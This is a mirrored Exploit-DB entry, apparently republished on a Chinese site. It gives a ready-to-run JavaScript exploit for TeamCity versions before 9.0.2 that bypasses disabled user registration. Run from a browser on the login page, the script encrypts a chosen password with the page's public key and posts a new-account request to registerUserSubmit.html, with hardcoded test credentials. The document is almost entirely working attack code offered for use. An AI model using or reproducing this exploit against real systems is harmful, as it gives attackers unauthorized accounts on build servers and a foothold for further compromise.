TeamCity < 9.0.2 - Disabled Registration Bypass - 体验盒子

作者： allyshka

日期： 2018-03-28

类别：

remote

平台：

multiple

来源：https://www.exploit-db.com/exploits/46514/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

var login = 'testuser'; //логин пользователя

var password = 'SuperMEgaPa$$'; //пароль

var email = 'testusername654@mailinater.com'; // email

/* Code */

var b = BS.LoginForm;

var public_key = $F("publicKey");

var encrypted_pass = BS.Encrypt.encryptData(password, $F("publicKey"));

var parameters = 'username1='+login+'&email='+encodeURIComponent(email)+'&submitCreateUser=&publicKey='+public_key+'&encryptedPassword1='+encrypted_pass+'&encryptedRetypedPassword='+encrypted_pass;

var c = OO.extend(BS.ErrorsAwareListener, {

onDuplicateAccountError: function(b) {

alert(b.firstChild.nodeValue);

},

onMaxNumberOfUserAccountsReachedError: function(b) {

alert(b.firstChild.nodeValue);

},

onCreateUserError: function(b) {

alert(b.firstChild.nodeValue);

},

onCompleteSave: function(c, d, b) {

BS.ErrorsAwareListener.onCompleteSave(c, d, b);

if (!b) {

BS.XMLResponse.processRedirect(d);

}

});

BS.ajaxRequest("registerUserSubmit.html", {

method: "post",

parameters: parameters,

onComplete: function(i) {

if (!i.responseXML) {

alert(i.responseText);

} else {

var h = i.responseXML;

var e = BS.XMLResponse.processErrors(h, c);

console.log(i.responseText);

c.onCompleteSave(b, h, e, i.responseText);

}

},

onFailure: function(i) {

console.log(i);

},

onException: function(i, h) {

console.log(i);

}

});